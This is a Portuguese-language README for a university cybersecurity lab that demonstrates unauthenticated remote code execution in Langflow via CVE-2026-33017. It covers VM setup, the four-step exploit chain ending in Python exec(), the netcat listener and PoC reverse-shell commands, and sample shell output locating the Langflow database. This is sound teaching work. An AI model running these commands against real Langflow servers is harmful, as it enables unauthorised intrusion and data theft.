
# Laboratório educacional demonstrando RCE não autenticado no Langflow via CVE-2026-33017, com configuração automatizada de VM e um exploit PoC para reverse shell.
HoGent CyberSecurity II — Testes de Penetração e Exploração de Redes (NPE)
Ano letivo 2025–2026
Este repositório contém um ambiente de laboratório completo e uma demonstração de exploração da CVE-2026-33017, uma vulnerabilidade crítica de Execução Remota de Código (RCE) sem autenticação no Langflow ≤ 1.8.1.
Um atacante sem qualquer autenticação pode executar código Python arbitrário no servidor através do endpoint /api/v1/build_public_tmp/{flow_id}/flow, uma vez que a entrada do utilizador é passada diretamente para exec() do Python sem sandboxing ou validação.
⚠️ Aviso: Este repositório destina-se exclusivamente a fins educativos num ambiente de laboratório controlado. Utilize apenas em sistemas para os quais tenha autorização explícita.
┌─────────────────────────────────────────────────────┐
│ MÁQUINA ANFITRIÃ │
│ │
│ ┌──────────────────┐ ┌───────────────────────┐ │
│ │ Langflow-Vítima │ │ Kali-Atacante │ │
│ │ Ubuntu 22.04 │ │ Kali Linux │ │
│ │ 192.168.56.101 │◄────│ 192.168.56.100 │ │
│ │ Langflow 1.8.1 │ │ ferramenta PoC │ │
│ │ porta 7860 │ │ + internet (NAT) │ │
│ └──────────────────┘ └───────────────────────┘ │
│ Rede host-only: 192.168.56.0/24 │
└─────────────────────────────────────────────────────┘
CVE-2026-33017/
├── README.md # Este ficheiro
├── LICENSE
├── .gitignore
├── docs/
│ └── stappenplan.md # Guia completo de implementação e ataque
└── scripts/
├── setup_vms.sh # Fase 1: Criar VMs VirtualBox (ANFITRIÃ)
├── setup_victim.sh # Fase 2: Instalar Langflow 1.8.1 (VM Ubuntu)
└── setup_attacker.sh # Fase 3: Instalar ferramenta PoC (VM Kali)
VBoxManage no PATHUbuntu_22.04-VB-64bit.vdi → renomear para ubuntu-22.04.vdiKali_Linux-VB-64bit.vdi → renomear para kali-linux.vdisetup_vms.shbash scripts/setup_vms.sh
# Credenciais: osboxes / osboxes.org
sudo bash scripts/setup_victim.sh
# Credenciais: osboxes / osboxes.org
sudo bash scripts/setup_attacker.sh
Terminal 1 — Listener de reverse shell:
nc -lvnp 4444
Terminal 2 — Exploit:
cd ~/CVE-2026-33017-Langflow-RCE-PoC
source venv/bin/activate
python3 cve-2026-33017.py 192.168.56.101 --shell \
--lhost 192.168.56.100 --lport 4444
O PoC é instalado automaticamente pelo
setup_attacker.sh.
PoC utilizado: omer-efe-curkus/CVE-2026-33017-Langflow-RCE-PoC
| Passo | Endpoint | Descrição |
|---|---|---|
| 1 | GET /api/v1/auto_login | Obtém token JWT de superutilizador (AUTO_LOGIN=true) |
| 2 | POST /api/v1/flows/ | Cria novo flow público através da API |
| 3 | POST /api/v1/build_public_tmp/{id}/flow | Injeta CustomComponent com código Python malicioso |
| 4 | exec() em validate.py:397 | O código é executado sem sandboxing — RCE |
[] Fetching access token... [+] Public Flow ID created: 11571add-6416-4226-b8e6-844202cce6ff [] Sending reverse shell to connect back to 192.168.56.100:4444
Listener (Terminal 1): connect to [192.168.56.100] from (UNKNOWN) [192.168.56.101] 36160 $ whoami user $ hostname e37190a2f147 $ find /app -name "*.db" /app/.venv/lib/python3.12/site-packages/langflow/langflow.db
data vulnerávelLANGFLOW_AUTO_LOGIN em produçãoHoGent — Informática Aplicada — CyberSecurity II — 2025–2026